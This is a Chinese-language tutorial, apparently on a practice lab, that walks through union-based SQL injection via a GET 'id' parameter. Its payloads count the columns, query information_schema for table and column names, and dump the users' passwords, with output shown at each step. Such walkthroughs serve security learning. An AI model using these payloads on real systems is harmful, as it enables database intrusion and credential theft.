id变量通过get方式获取并且可直接拼接到sql语句中,而id参数用户可控,造成注入
流程:获取字段数-查库名-查表名-查列名-查数据
获取字段数
order by x,通过不断修改x,得到其不报错的上限值
通过order by 查询多少字段order by 3,假设3为临界值
SELECT * FROM users WHERE id=1 order by 3通过union查询数据库名,数据库版本,用户名
SELECT * FROM users WHERE id=1 union select 1,2,3可将1,2,3修改为具体的sql函数
sql函数:
database():获取数据库名
version():获取MySQL版本
user():获取用户名
union select version(),database(),user()---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: Dumb PASSWORD: Dumb ---------------------------------------------------------------------------------------------------- ID : 5.5.53 USERNAME: security PASSWORD: root@localhost
可以看到,sql的版本为5.5.53,数据库为security,用户为root@localhost
通过union查询数据库中table名
得到当前数据库名之后就可查询数据库中所包含的表
union语句:将不同表的两个列查询的数据去重拼接
information_schema.tables中记录了所有表名信息
information_schema.columns 记录列名信息
TABLE_SCHEMA 数据库字段,表所在的数据库的名字
table_name 表名 column_name 列名
SELECT * FROM users WHERE id=1 union select 1,2,table_name FROM information_schema.tables where TABLE_SCHEMA=database()注:由于之前通过order by得到临界值为3,在查找其他内容是需要把所有的字段都占住,因此1,2不能少
---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: Dumb PASSWORD: Dumb ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: emails ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: referers ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: uagents ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: users
可以看到,主要有emails,referers,uagents,users这几个表
通过union查询表中的列名
接下来查询users表中有哪些列
column_name 列名
union SELECT column_name FROM information_schema.columns where TABLE_name='users'---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: Dumb PASSWORD: Dumb ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: id ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: username ---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: 2 PASSWORD: password
可以看到有id,usename,password这几列
通过列名查询数据
接下来查询列中具体的数据
union select 列名 from 库名.表名 # 库名不写也行 union select id,username,password from users---------------------------------------------------------------------------------------------------- ID : 1 USERNAME: Dumb PASSWORD: Dumb ---------------------------------------------------------------------------------------------------- ID : 2 USERNAME: Angelina PASSWORD: I-kill-you ---------------------------------------------------------------------------------------------------- ID : 3 USERNAME: Dummy PASSWORD: p@ssword ---------------------------------------------------------------------------------------------------- ID : 4 USERNAME: secure PASSWORD: crappy ---------------------------------------------------------------------------------------------------- ID : 5 USERNAME: stupid PASSWORD: stupidity ---------------------------------------------------------------------------------------------------- ID : 6 USERNAME: superman PASSWORD: genious ---------------------------------------------------------------------------------------------------- ID : 7 USERNAME: batman PASSWORD: mob!le ---------------------------------------------------------------------------------------------------- ID : 8 USERNAME: admin PASSWORD: admin
这样就可以看到帐号和密码了
